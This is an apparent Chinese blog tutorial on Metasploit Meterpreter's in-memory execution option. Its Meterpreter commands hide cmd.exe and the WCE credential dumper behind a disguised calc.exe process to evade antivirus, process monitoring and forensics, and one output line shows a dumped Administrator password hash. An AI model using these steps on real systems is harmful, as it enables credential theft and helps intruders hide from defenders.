Metasploit:一颗没有发现的珍珠

Metasploit:一颗没有发现的珍珠

本文介绍一下在Metasploit中被很少人了解的一项功能—Meterpreter执行命令过程中的—m参数。在说明文档中,仅仅介绍了这个参数能够在“内存中执行”,其实没有真正解释它的价值。下面是使用这个参数的一个演示:


meterpreter > cd %systemroot%  
meterpreter > cd system32  
meterpreter > pwd
C:\Windows\SYSTEM32
meterpreter > download cmd.exe
[*] downloading: cmd.exe -> cmd.exe
[*] downloaded : cmd.exe -> cmd.exe
meterpreter > execute -H -m -d calc.exe -i -f cmd.exe
Process 572 created.
Channel 5 created.
The system cannot find message text for message number 0x2350 in the message file for Application.

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\SYSTEM32>

得到shell后,输入ps后,能够看到后台进程中有一个calc.exe进程,同时看不到有cmd.exe进 程,这事什么原因呢?首先,我们从目标机器上下载了在cmd.exe,如果你已经有一个cmd.exe文件的话,这一步是可以省去的。其次, 我们执行calc.exe作为傀儡程序执行,同时上传另一个恶意程序占用calc.exe的进行空间。在目标主机上,这个过程在calc.exe挂起后进 行,利用windows debugging API 去掉clac.exe的内核并替换成我们想执行的恶意程序。(真心邪恶)

利用内存执行技术(in-memory executable technique)有几个优势

  1. 程序名不会在进程列表中出现,所以像windows的程序管理器中显示的进程名,你可以通过—d选项选择你需要的名字,这一点非常重要,可以确保你能够避开敏感人士的检查。
  2. 执行文件永远不会再硬盘下留下痕迹。比便在硬盘上执行文件意味着增大了取证分析的难度。(没有新文件的产生或者时间修改的痕迹),尽管执行文件本 身会留下痕迹,但是需要追查这些痕迹很难。程序仅执行在内存中意味着杀毒软件少了一个捕获恶意程序的机会,杀毒软件一般不喜欢那些经常使用的软件,比如 WCE( Windows Credential Editor),所以在内存中运行程序少了不少麻烦,示例如下:

meterpreter > upload wce.exe
[*] uploading  : wce.exe -> wce.exe
[*] uploaded   : wce.exe -> wce.exe
meterpreter > ls wce.exe
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.

杀毒软件检测到WCE.exe这个程序是恶意程序并立即删掉了,但是如果我们换一种方式,在内存中执行:



meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
Process 3216 created.
meterpreter > cat foo.txt
Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C

还有一个优点值得提出的是,如果cmd.exe在目标机器中禁用或是不存在,那么可以通过上述方式直接上传一个cmd.exe进行使用。

你可能感兴趣的:(Hack)